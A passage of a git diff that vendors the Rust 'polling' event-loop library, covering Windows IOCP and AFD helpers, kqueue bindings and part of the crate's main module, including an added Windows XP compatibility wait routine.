afd::AfdPollMask { + event_properties_to_afd_mask(event.readable, event.writable, error) | event.extra.flags +} + +/// Translate an event to the mask expected by AFD. +#[inline] +fn event_properties_to_afd_mask(readable: bool, writable: bool, error: bool) -> afd::AfdPollMask { + use afd::AfdPollMask as AfdPoll; + + let mut mask = AfdPoll::empty(); + + if error || readable || writable { + mask |= AfdPoll::ABORT | AfdPoll::CONNECT_FAIL; + } + + if readable { + mask |= + AfdPoll::RECEIVE | AfdPoll::ACCEPT | AfdPoll::DISCONNECT | AfdPoll::RECEIVE_EXPEDITED; + } + + if writable { + mask |= AfdPoll::SEND; + } + + mask +} + +/// Convert the mask reported by AFD to an event. +#[inline] +fn afd_mask_to_event(mask: afd::AfdPollMask) -> (bool, bool) { + use afd::AfdPollMask as AfdPoll; + + let mut readable = false; + let mut writable = false; + + if mask.intersects( + AfdPoll::RECEIVE | AfdPoll::ACCEPT | AfdPoll::DISCONNECT | AfdPoll::RECEIVE_EXPEDITED, + ) { + readable = true; + } + + if mask.intersects(AfdPoll::SEND) { + writable = true; + } + + if mask.intersects(AfdPoll::ABORT | AfdPoll::CONNECT_FAIL) { + readable = true; + writable = true; + } + + (readable, writable) +} + +// Implementation taken from https://github.com/rust-lang/rust/blob/db5476571d9b27c862b95c1e64764b0ac8980e23/src/libstd/sys/windows/mod.rs +fn dur2timeout(dur: Duration) -> u32 { + // Note that a duration is a (u64, u32) (seconds, nanoseconds) pair, and the + // timeouts in windows APIs are typically u32 milliseconds. To translate, we + // have two pieces to take care of: + // + // * Nanosecond precision is rounded up + // * Greater than u32::MAX milliseconds (50 days) is rounded up to INFINITE + // (never time out). + dur.as_secs() + .checked_mul(1000) + .and_then(|ms| ms.checked_add((dur.subsec_nanos() as u64) / 1_000_000)) + .and_then(|ms| { + if dur.subsec_nanos() % 1_000_000 > 0 { + ms.checked_add(1) + } else { + Some(ms) + } + }) + .and_then(|x| u32::try_from(x).ok()) + .unwrap_or(INFINITE) +} + +/// An error type that wraps around failing to open AFD. +struct AfdError { + /// String description of what happened. + description: &'static str, + + /// The underlying system error. + system: io::Error, +} + +impl AfdError { + #[inline] + fn new(description: &'static str, system: io::Error) -> Self { + Self { + description, + system, + } + } +} + +impl fmt::Debug for AfdError { + #[inline] + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("AfdError") + .field("description", &self.description) + .field("system", &self.system) + .field("note", &"probably caused by old Windows or Wine") + .finish() + } +} + +impl fmt::Display for AfdError { + #[inline] + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!( + f, + "{}: {}\nThis error is usually caused by running on old Windows or Wine", + self.description, &self.system + ) + } +} + +impl std::error::Error for AfdError { + #[inline] + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + Some(&self.system) + } +} + +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} diff --git a/lib/malio/polling/src/iocp/port.rs b/lib/malio/polling/src/iocp/port.rs new file mode 100644 index 0000000..1ab015b --- /dev/null +++ b/lib/malio/polling/src/iocp/port.rs @@ -0,0 +1,396 @@ +//! A safe wrapper around the Windows I/O API. + +use super::dur2timeout; + +use std::fmt; +use std::io; +use std::marker::PhantomData; +use std::mem::MaybeUninit; +use std::ops::Deref; +use std::os::windows::io::{AsRawHandle, RawHandle}; +use std::pin::Pin; +use std::ptr; +use std::sync::Arc; +use std::time::Duration; + +use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, INVALID_HANDLE_VALUE}; +use windows_sys::Win32::Storage::FileSystem::SetFileCompletionNotificationModes; +use windows_sys::Win32::System::Threading::INFINITE; +use windows_sys::Win32::System::WindowsProgramming::FILE_SKIP_SET_EVENT_ON_HANDLE; +use windows_sys::Win32::System::IO::{ + CreateIoCompletionPort, GetQueuedCompletionStatus, GetQueuedCompletionStatusEx, + PostQueuedCompletionStatus, OVERLAPPED, OVERLAPPED_ENTRY, +}; + +/// A completion block which can be used with I/O completion ports. +/// +/// # Safety +/// +/// This must be a valid completion block. +pub(super) unsafe trait Completion { + /// Signal to the completion block that we are about to start an operation. + fn try_lock(self: Pin<&Self>) -> bool; + + /// Unlock the completion block. + unsafe fn unlock(self: Pin<&Self>); +} + +/// The pointer to a completion block. +/// +/// # Safety +/// +/// This must be a valid completion block. +pub(super) unsafe trait CompletionHandle: Deref + Sized { + /// Type of the completion block. + type Completion: Completion; + + /// Get a pointer to the completion block. + /// + /// The pointer is pinned since the underlying object should not be moved + /// after creation. This prevents it from being invalidated while it's + /// used in an overlapped operation. + fn get(&self) -> Pin<&Self::Completion>; + + /// Convert this block into a pointer that can be passed as `*mut OVERLAPPED`. + fn into_ptr(this: Self) -> *mut OVERLAPPED; + + /// Convert a pointer that was passed as `*mut OVERLAPPED` into a pointer to this block. + /// + /// # Safety + /// + /// This must be a valid pointer to a completion block. + unsafe fn from_ptr(ptr: *mut OVERLAPPED) -> Self; + + /// Convert to a pointer without losing ownership. + fn as_ptr(&self) -> *mut OVERLAPPED; +} + +unsafe impl CompletionHandle for Pin<&T> { + type Completion = T; + + fn get(&self) -> Pin<&Self::Completion> { + *self + } + + fn into_ptr(this: Self) -> *mut OVERLAPPED { + unsafe { Pin::into_inner_unchecked(this) as *const T as *mut OVERLAPPED } + } + + unsafe fn from_ptr(ptr: *mut OVERLAPPED) -> Self { + Pin::new_unchecked(&*(ptr as *const T)) + } + + fn as_ptr(&self) -> *mut OVERLAPPED { + self.get_ref() as *const T as *mut OVERLAPPED + } +} + +unsafe impl CompletionHandle for Pin> { + type Completion = T; + + fn get(&self) -> Pin<&Self::Completion> { + self.as_ref() + } + + fn into_ptr(this: Self) -> *mut OVERLAPPED { + unsafe { Arc::into_raw(Pin::into_inner_unchecked(this)) as *const T as *mut OVERLAPPED } + } + + unsafe fn from_ptr(ptr: *mut OVERLAPPED) -> Self { + Pin::new_unchecked(Arc::from_raw(ptr as *const T)) + } + + fn as_ptr(&self) -> *mut OVERLAPPED { + self.as_ref().get_ref() as *const T as *mut OVERLAPPED + } +} + +/// A handle to the I/O completion port. +pub(super) struct IoCompletionPort { + /// The underlying handle. + handle: HANDLE, + + /// We own the status block. + _marker: PhantomData, +} + +impl Drop for IoCompletionPort { + fn drop(&mut self) { + unsafe { + CloseHandle(self.handle); + } + } +} + +impl AsRawHandle for IoCompletionPort { + fn as_raw_handle(&self) -> RawHandle { + self.handle as _ + } +} + +impl fmt::Debug for IoCompletionPort { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + struct WriteAsHex(HANDLE); + + impl fmt::Debug for WriteAsHex { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{:010x}", self.0 as usize) + } + } + + f.debug_struct("IoCompletionPort") + .field("handle", &WriteAsHex(self.handle)) + .finish() + } +} + +impl IoCompletionPort { + /// Create a new I/O completion port. + pub(super) fn new(threads: usize) -> io::Result { + let handle = unsafe { + CreateIoCompletionPort( + INVALID_HANDLE_VALUE, + ptr::null_mut(), + 0, + threads.try_into().expect("too many threads"), + ) + }; + + if handle.is_null() { + Err(io::Error::last_os_error()) + } else { + Ok(Self { + handle, + _marker: PhantomData, + }) + } + } + + /// Register a handle with this I/O completion port. + pub(super) fn register( + &self, + handle: &impl AsRawHandle, // TODO change to AsHandle + skip_set_event_on_handle: bool, + ) -> io::Result<()> { + let handle = handle.as_raw_handle(); + + let result = + unsafe { CreateIoCompletionPort(handle as _, self.handle, handle as usize, 0) }; + + if result.is_null() { + return Err(io::Error::last_os_error()); + } + + if skip_set_event_on_handle { + // Set the skip event on handle. + let result = unsafe { + SetFileCompletionNotificationModes(handle as _, FILE_SKIP_SET_EVENT_ON_HANDLE as _) + }; + + if result == 0 { + return Err(io::Error::last_os_error()); + } + } + + Ok(()) + } + + /// Post a completion packet to this port. + pub(super) fn post(&self, bytes_transferred: usize, id: usize, packet: T) -> io::Result<()> { + let result = unsafe { + PostQueuedCompletionStatus( + self.handle, + bytes_transferred + .try_into() + .expect("too many bytes transferred"), + id, + T::into_ptr(packet), + ) + }; + + if result == 0 { + Err(io::Error::last_os_error()) + } else { + Ok(()) + } + } + + /// Wait for completion packets to arrive. + pub(super) fn wait( + &self, + packets: &mut Vec>, + timeout: Option, + ) -> io::Result { + // Drop the current packets. + packets.clear(); + + #[cfg(target_arch = "x86")] + { + self.wait_xp_compat(packets, timeout) + } + + #[cfg(target_arch = "x86_64")] + { + self.wait_vista_plus(packets, timeout) + } + } + + /// Windows Vista+ implementation using GetQueuedCompletionStatusEx + #[cfg(target_arch = "x86_64")] + fn wait_vista_plus( + &self, + packets: &mut Vec>, + timeout: Option, + ) -> io::Result { + let mut count = MaybeUninit::::uninit(); + let timeout = timeout.map_or(INFINITE, dur2timeout); + + let result = unsafe { + GetQueuedCompletionStatusEx( + self.handle, + packets.as_mut_ptr() as _, + packets.capacity().try_into().expect("too many packets"), + count.as_mut_ptr(), + timeout, + 0, + ) + }; + + if result == 0 { + let io_error = io::Error::last_os_error(); + if io_error.kind() == io::ErrorKind::TimedOut { + Ok(0) + } else { + Err(io_error) + } + } else { + let count = unsafe { count.assume_init() }; + unsafe { + packets.set_len(count as _); + } + Ok(count as _) + } + } + + /// Windows XP compatible implementation using GetQueuedCompletionStatus + #[cfg(target_arch = "x86")] + fn wait_xp_compat( + &self, + packets: &mut Vec>, + timeout: Option, + ) -> io::Result { + // XP compat: replace infinite timeout with short polling to avoid AFD driver bug causing permanent hang + let timeout_ms = match timeout { + None => 100, // infinite timeout -> 100ms polling + Some(d) => { + let ms = dur2timeout(d); + if ms == INFINITE { + 100 // INFINITE -> 100ms + } else { + ms.min(100) // cap at 100ms + } + } + }; + + let mut bytes_transferred = 0u32; + let mut completion_key = 0usize; + let mut overlapped_ptr: *mut OVERLAPPED = ptr::null_mut(); + + let result = unsafe { + GetQueuedCompletionStatus( + self.handle, + &mut bytes_transferred, + &mut completion_key, + &mut overlapped_ptr, + timeout_ms, + ) + }; + + if result == 0 { + let io_error = io::Error::last_os_error(); + let err_code = io_error.raw_os_error().unwrap_or(0); + + // Check if we got a completion packet despite the error + if !overlapped_ptr.is_null() { + // We have a packet, add it + let entry = OVERLAPPED_ENTRY { + lpCompletionKey: completion_key, + lpOverlapped: overlapped_ptr, + Internal: 0, + dwNumberOfBytesTransferred: bytes_transferred, + }; + packets.push(OverlappedEntry { + entry, + _marker: PhantomData, + }); + return Ok(1); + } + + // XP compat: treat error code 0 or WAIT_TIMEOUT (258) as timeout + if io_error.kind() == io::ErrorKind::TimedOut || err_code == 0 || err_code == 258 { + return Ok(0); + } + return Err(io_error); + } + + // Success - we got a completion packet + if !overlapped_ptr.is_null() { + let entry = OVERLAPPED_ENTRY { + lpCompletionKey: completion_key, + lpOverlapped: overlapped_ptr, + Internal: 0, + dwNumberOfBytesTransferred: bytes_transferred, + }; + packets.push(OverlappedEntry { + entry, + _marker: PhantomData, + }); + Ok(1) + } else { + Ok(0) + } + } +} + +/// An `OVERLAPPED_ENTRY` resulting from an I/O completion port. +#[repr(transparent)] +pub(super) struct OverlappedEntry { + /// The underlying entry. + entry: OVERLAPPED_ENTRY, + + /// We own the status block. + _marker: PhantomData, +} + +impl fmt::Debug for OverlappedEntry { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("OverlappedEntry { .. }") + } +} + +impl OverlappedEntry { + /// Convert into the completion packet. + pub(super) fn into_packet(self) -> T { + let packet = unsafe { self.packet() }; + std::mem::forget(self); + packet + } + + /// Get the packet reference that this entry refers to. + /// + /// # Safety + /// + /// This function should only be called once, since it moves + /// out the `T` from the `OVERLAPPED_ENTRY`. + unsafe fn packet(&self) -> T { + let packet = T::from_ptr(self.entry.lpOverlapped); + packet.get().unlock(); + packet + } +} + +impl Drop for OverlappedEntry { + fn drop(&mut self) { + drop(unsafe { self.packet() }); + } +} diff --git a/lib/malio/polling/src/kqueue.rs b/lib/malio/polling/src/kqueue.rs new file mode 100644 index 0000000..8af4f4b --- /dev/null +++ b/lib/malio/polling/src/kqueue.rs @@ -0,0 +1,596 @@ +//! Bindings to kqueue (macOS, iOS, tvOS, watchOS, visionOS, FreeBSD, NetBSD, OpenBSD, DragonFly BSD). + +use std::collections::HashSet; +use std::io; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +use std::sync::RwLock; +use std::time::Instant; + +use rustix::buffer::spare_capacity; +use rustix::event::{kqueue, Timespec}; +use rustix::io::{fcntl_setfd, Errno, FdFlags}; + +use crate::{Event, PollMode}; + +/// Interface to kqueue. +#[derive(Debug)] +pub struct Poller { + /// File descriptor for the kqueue instance. + kqueue_fd: OwnedFd, + + /// List of sources currently registered in this poller. + /// + /// This is used to make sure the same source is not registered twice. + sources: RwLock>, + + /// Notification pipe for waking up the poller. + /// + /// On platforms that support `EVFILT_USER`, this uses that to wake up the poller. Otherwise, it + /// uses a pipe. + notify: notify::Notify, +} + +/// Identifier for a source. +#[doc(hidden)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum SourceId { + /// Registered file descriptor. + Fd(RawFd), + + /// Signal. + Signal(std::os::raw::c_int), + + /// Process ID. + Pid(rustix::process::Pid), + + /// Timer ID. + Timer(usize), +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result { + // Create a kqueue instance. + let kqueue_fd = kqueue::kqueue()?; + fcntl_setfd(&kqueue_fd, FdFlags::CLOEXEC)?; + + let poller = Poller { + kqueue_fd, + sources: RwLock::new(HashSet::new()), + notify: notify::Notify::new()?, + }; + + // Register the notification pipe. + poller.notify.register(&poller)?; + + #[cfg(feature = "tracing")] + tracing::trace!( + kqueue_fd = ?poller.kqueue_fd.as_raw_fd(), + "new" + ); + Ok(poller) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + true + } + + /// Whether this poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + true + } + + /// Adds a new file descriptor. + /// + /// # Safety + /// + /// The file descriptor must be valid and it must last until it is deleted. + pub unsafe fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + self.add_source(SourceId::Fd(fd))?; + + // File descriptors don't need to be added explicitly, so just modify the interest. + self.modify(BorrowedFd::borrow_raw(fd), ev, mode) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = if !self.notify.has_fd(fd) { + let span = tracing::trace_span!( + "add", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ?fd, + ?ev, + ); + Some(span) + } else { + None + }; + #[cfg(feature = "tracing")] + let _enter = span.as_ref().map(|s| s.enter()); + + self.has_source(SourceId::Fd(fd.as_raw_fd()))?; + + let mode_flags = mode_to_flags(mode); + + let read_flags = if ev.readable { + kqueue::EventFlags::ADD | mode_flags + } else { + kqueue::EventFlags::DELETE + }; + let write_flags = if ev.writable { + kqueue::EventFlags::ADD | mode_flags + } else { + kqueue::EventFlags::DELETE + }; + + // A list of changes for kqueue. + let changelist = [ + kqueue::Event::new( + kqueue::EventFilter::Read(fd.as_raw_fd()), + read_flags | kqueue::EventFlags::RECEIPT, + ev.key as _, + ), + kqueue::Event::new( + kqueue::EventFilter::Write(fd.as_raw_fd()), + write_flags | kqueue::EventFlags::RECEIPT, + ev.key as _, + ), + ]; + + // Apply changes. + self.submit_changes(changelist) + } + + /// Submit one or more changes to the kernel queue and check to see if they succeeded. + pub(crate) fn submit_changes(&self, changelist: A) -> io::Result<()> + where + A: Copy + AsRef<[kqueue::Event]> + AsMut<[kqueue::Event]>, + { + let mut eventlist = Vec::with_capacity(changelist.as_ref().len()); + + // Apply changes. + { + let changelist = changelist.as_ref(); + + unsafe { + kqueue::kevent_timespec( + &self.kqueue_fd, + changelist, + spare_capacity(&mut eventlist), + None, + )?; + } + } + + // Check for errors. + for &ev in &eventlist { + let data = ev.data(); + + // Explanation for ignoring EPIPE: https://github.com/tokio-rs/mio/issues/582 + if (ev.flags().contains(kqueue::EventFlags::ERROR)) + && data != 0 + && data != Errno::NOENT.raw_os_error() as _ + && data != Errno::PIPE.raw_os_error() as _ + { + return Err(io::Error::from_raw_os_error(data as _)); + } + } + + Ok(()) + } + + /// Add a source to the sources set. + #[inline] + pub(crate) fn add_source(&self, source: SourceId) -> io::Result<()> { + if self + .sources + .write() + .unwrap_or_else(|e| e.into_inner()) + .insert(source) + { + Ok(()) + } else { + Err(io::Error::from(io::ErrorKind::AlreadyExists)) + } + } + + /// Tell if a source is currently inside the set. + #[inline] + pub(crate) fn has_source(&self, source: SourceId) -> io::Result<()> { + if self + .sources + .read() + .unwrap_or_else(|e| e.into_inner()) + .contains(&source) + { + Ok(()) + } else { + Err(io::Error::from(io::ErrorKind::NotFound)) + } + } + + /// Remove a source from the sources set. + #[inline] + pub(crate) fn remove_source(&self, source: SourceId) -> io::Result<()> { + if self + .sources + .write() + .unwrap_or_else(|e| e.into_inner()) + .remove(&source) + { + Ok(()) + } else { + Err(io::Error::from(io::ErrorKind::NotFound)) + } + } + + /// Deletes a file descriptor. + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + // Simply delete interest in the file descriptor. + self.modify(fd, Event::none(0), PollMode::Oneshot)?; + + self.remove_source(SourceId::Fd(fd.as_raw_fd())) + } + + /// Waits for I/O events with an optional deadline. + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let timeout = deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + // Timeout for kevent. In case of overflow, use no timeout. + let timeout = match timeout { + Some(t) => Timespec::try_from(t).ok(), + None => None, + }; + + // Wait for I/O events. + let changelist = []; + let _res = unsafe { + kqueue::kevent_timespec( + &self.kqueue_fd, + &changelist, + spare_capacity(&mut events.list), + timeout.as_ref(), + )? + }; + + #[cfg(feature = "tracing")] + tracing::trace!( + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + res = ?_res, + "new events", + ); + + // Clear the notification (if received) and re-register interest in it. + self.notify.reregister(self)?; + + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.notify.notify(self).ok(); + Ok(()) + } +} + +impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.kqueue_fd.as_raw_fd() + } +} + +impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.kqueue_fd.as_fd() + } +} + +impl Drop for Poller { + fn drop(&mut self) { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "drop", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let _ = self.notify.deregister(self); + } +} + +/// A list of reported I/O events. +pub struct Events { + list: Vec, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Events { + list: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + // On some platforms, closing the read end of a pipe wakes up writers, but the + // event is reported as EVFILT_READ with the EV_EOF flag. + // + // https://github.com/golang/go/commit/23aad448b1e3f7c3b4ba2af90120bde91ac865b4 + self.list.iter().map(|ev| Event { + key: ev.udata() as usize, + readable: matches!( + ev.filter(), + kqueue::EventFilter::Read(..) + | kqueue::EventFilter::Vnode { .. } + | kqueue::EventFilter::Proc { .. } + | kqueue::EventFilter::Signal { .. } + | kqueue::EventFilter::Timer { .. } + ), + writable: matches!(ev.filter(), kqueue::EventFilter::Write(..)) + || (matches!(ev.filter(), kqueue::EventFilter::Read(..)) + && (ev.flags().intersects(kqueue::EventFlags::EOF))), + extra: EventExtra, + }) + } + + /// Clears the list. + pub fn clear(&mut self) { + self.list.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.list.capacity() + } +} + +/// Extra information associated with an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra; + +impl EventExtra { + /// Create a new, empty version of this struct. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra + } + + /// Set the interrupt flag. + #[inline] + pub fn set_hup(&mut self, _value: bool) { + // No-op. + } + + /// Set the priority flag. + #[inline] + pub fn set_pri(&mut self, _value: bool) { + // No-op. + } + + /// Is the interrupt flag set? + #[inline] + pub fn is_hup(&self) -> bool { + false + } + + /// Is the priority flag set? + #[inline] + pub fn is_pri(&self) -> bool { + false + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + None + } + + #[inline] + pub fn is_err(&self) -> Option { + None + } +} + +pub(crate) fn mode_to_flags(mode: PollMode) -> kqueue::EventFlags { + use kqueue::EventFlags as EV; + + match mode { + PollMode::Oneshot => EV::ONESHOT, + PollMode::Level => EV::empty(), + PollMode::Edge => EV::CLEAR, + PollMode::EdgeOneshot => EV::ONESHOT | EV::CLEAR, + } +} + +#[cfg(any( + target_os = "freebsd", + target_os = "dragonfly", + target_vendor = "apple", +))] +mod notify { + use super::Poller; + use rustix::event::kqueue; + use std::io; + #[cfg(feature = "tracing")] + use std::os::unix::io::BorrowedFd; + + /// A notification pipe. + /// + /// This implementation uses `EVFILT_USER` to avoid allocating a pipe. + #[derive(Debug)] + pub(super) struct Notify; + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + Ok(Self) + } + + /// Registers this notification pipe in the `Poller`. + pub(super) fn register(&self, poller: &Poller) -> io::Result<()> { + // Register an EVFILT_USER event. + poller.submit_changes([kqueue::Event::new( + kqueue::EventFilter::User { + ident: 0, + flags: kqueue::UserFlags::empty(), + user_flags: kqueue::UserDefinedFlags::new(0), + }, + kqueue::EventFlags::ADD | kqueue::EventFlags::RECEIPT | kqueue::EventFlags::CLEAR, + crate::NOTIFY_KEY as _, + )]) + } + + /// Reregister this notification pipe in the `Poller`. + pub(super) fn reregister(&self, _poller: &Poller) -> io::Result<()> { + // We don't need to do anything, it's already registered as EV_CLEAR. + Ok(()) + } + + /// Notifies the `Poller`. + pub(super) fn notify(&self, poller: &Poller) -> io::Result<()> { + // Trigger the EVFILT_USER event. + poller.submit_changes([kqueue::Event::new( + kqueue::EventFilter::User { + ident: 0, + flags: kqueue::UserFlags::TRIGGER, + user_flags: kqueue::UserDefinedFlags::new(0), + }, + kqueue::EventFlags::ADD | kqueue::EventFlags::RECEIPT, + crate::NOTIFY_KEY as _, + )])?; + + Ok(()) + } + + /// Deregisters this notification pipe from the `Poller`. + pub(super) fn deregister(&self, poller: &Poller) -> io::Result<()> { + // Deregister the EVFILT_USER event. + poller.submit_changes([kqueue::Event::new( + kqueue::EventFilter::User { + ident: 0, + flags: kqueue::UserFlags::empty(), + user_flags: kqueue::UserDefinedFlags::new(0), + }, + kqueue::EventFlags::DELETE | kqueue::EventFlags::RECEIPT, + crate::NOTIFY_KEY as _, + )]) + } + + /// Whether this raw file descriptor is associated with this pipe. + #[cfg(feature = "tracing")] + pub(super) fn has_fd(&self, _fd: BorrowedFd<'_>) -> bool { + false + } + } +} + +#[cfg(not(any( + target_os = "freebsd", + target_os = "dragonfly", + target_vendor = "apple", +)))] +mod notify { + use super::Poller; + use crate::{Event, PollMode, NOTIFY_KEY}; + use std::io::{self, prelude::*}; + #[cfg(feature = "tracing")] + use std::os::unix::io::BorrowedFd; + use std::os::unix::{ + io::{AsFd, AsRawFd}, + net::UnixStream, + }; + + /// A notification pipe. + /// + /// This implementation uses a pipe to send notifications. + #[derive(Debug)] + pub(super) struct Notify { + /// The read end of the pipe. + read_stream: UnixStream, + + /// The write end of the pipe. + write_stream: UnixStream, + } + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + let (read_stream, write_stream) = UnixStream::pair()?; + read_stream.set_nonblocking(true)?; + write_stream.set_nonblocking(true)?; + + Ok(Self { + read_stream, + write_stream, + }) + } + + /// Registers this notification pipe in the `Poller`. + pub(super) fn register(&self, poller: &Poller) -> io::Result<()> { + // Register the read end of this pipe. + unsafe { + poller.add( + self.read_stream.as_raw_fd(), + Event::readable(NOTIFY_KEY), + PollMode::Oneshot, + ) + } + } + + /// Reregister this notification pipe in the `Poller`. + pub(super) fn reregister(&self, poller: &Poller) -> io::Result<()> { + // Clear out the notification. + while (&self.read_stream).read(&mut [0; 64]).is_ok() {} + + // Reregister the read end of this pipe. + poller.modify( + self.read_stream.as_fd(), + Event::readable(NOTIFY_KEY), + PollMode::Oneshot, + ) + } + + /// Notifies the `Poller`. + #[allow(clippy::unused_io_amount)] + pub(super) fn notify(&self, _poller: &Poller) -> io::Result<()> { + // Write to the write end of the pipe + (&self.write_stream).write(&[1])?; + + Ok(()) + } + + /// Deregisters this notification pipe from the `Poller`. + pub(super) fn deregister(&self, poller: &Poller) -> io::Result<()> { + // Deregister the read end of the pipe. + poller.delete(self.read_stream.as_fd()) + } + + /// Whether this raw file descriptor is associated with this pipe. + #[cfg(feature = "tracing")] + pub(super) fn has_fd(&self, fd: BorrowedFd<'_>) -> bool { + self.read_stream.as_raw_fd() == fd.as_raw_fd() + } + } +} diff --git a/lib/malio/polling/src/lib.rs b/lib/malio/polling/src/lib.rs new file mode 100644 index 0000000..f4e8c69 --- /dev/null +++ b/lib/malio/polling/src/lib.rs @@ -0,0 +1,1131 @@ +//! Portable interface to epoll, kqueue, event ports, and IOCP. +//! +//! Supported platforms: +//! - [epoll](https://en.wikipedia.org/wiki/Epoll): Linux, Android, RedoxOS +//! - [kqueue](https://en.wikipedia.org/wiki/Kqueue): macOS, iOS, tvOS, watchOS, visionOS, FreeBSD, NetBSD, OpenBSD, +//! DragonFly BSD +//! - [event ports](https://illumos.org/man/port_create): illumos, Solaris +//! - [poll](https://en.wikipedia.org/wiki/Poll_(Unix)): VxWorks, Fuchsia, HermitOS, other Unix systems +//! - [IOCP](https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports): Windows, Wine (version 7.13+) +//! +//! By default, polling is done in oneshot mode, which means interest in I/O events needs to +//! be re-enabled after an event is delivered if we're interested in the next event of the same +//! kind. However, level and edge triggered modes are also available for certain operating +//! systems. See the documentation of the [`PollMode`] type for more information. +//! +//! Only one thread can be waiting for I/O events at a time. +//! +//! # Examples +//! +//! ```no_run +//! use polling::{Event, Events, Poller}; +//! use std::net::TcpListener; +//! +//! // Create a TCP listener. +//! let socket = TcpListener::bind("127.0.0.1:8000")?; +//! socket.set_nonblocking(true)?; +//! let key = 7; // Arbitrary key identifying the socket. +//! +//! // Create a poller and register interest in readability on the socket. +//! let poller = Poller::new()?; +//! unsafe { +//! poller.add(&socket, Event::readable(key))?; +//! } +//! +//! // The event loop. +//! let mut events = Events::new(); +//! loop { +//! // Wait for at least one I/O event. +//! events.clear(); +//! poller.wait(&mut events, None)?; +//! +//! for ev in events.iter() { +//! if ev.key == key { +//! // Perform a non-blocking accept operation. +//! socket.accept()?; +//! // Set interest in the next readability event. +//! poller.modify(&socket, Event::readable(key))?; +//! } +//! } +//! } +//! +//! poller.delete(&socket)?; +//! # std::io::Result::Ok(()) +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![allow(clippy::useless_conversion, clippy::unnecessary_cast, unused_unsafe)] +#![cfg_attr(docsrs, feature(doc_cfg))] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::cell::Cell; +use std::fmt; +use std::io; +use std::marker::PhantomData; +use std::num::NonZeroUsize; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Mutex; +use std::time::{Duration, Instant}; + +use cfg_if::cfg_if; + +cfg_if! { + // Note: This cfg is intended to make it easy for polling developers to test + // the backend that uses poll, and is not a public API. + if #[cfg(polling_test_poll_backend)] { + mod poll; + use poll as sys; + } else if #[cfg(any( + target_os = "linux", + target_os = "android", + target_os = "redox" + ))] { + mod epoll; + use epoll as sys; + } else if #[cfg(any( + target_os = "illumos", + target_os = "solaris", + ))] { + mod port; + use port as sys; + } else if #[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ))] { + mod kqueue; + use kqueue as sys; + } else if #[cfg(any( + target_os = "vxworks", + target_os = "hermit", + target_os = "fuchsia", + target_os = "horizon", + unix, + ))] { + mod poll; + use poll as sys; + } else if #[cfg(target_os = "windows")] { + mod iocp; + use iocp as sys; + } else { + compile_error!("polling does not support this target OS"); + } +} + +pub mod os; + +/// Key associated with notifications. +const NOTIFY_KEY: usize = usize::MAX; + +/// Indicates that a file descriptor or socket can read or write without blocking. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Event { + /// Key identifying the file descriptor or socket. + pub key: usize, + /// Can it do a read operation without blocking? + pub readable: bool, + /// Can it do a write operation without blocking? + pub writable: bool, + /// System-specific event data. + extra: sys::EventExtra, +} + +/// The mode in which the poller waits for I/O events. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +#[non_exhaustive] +pub enum PollMode { + /// Poll in oneshot mode. + /// + /// In this mode, the poller will only deliver one event per file descriptor or socket. + /// Once an event has been 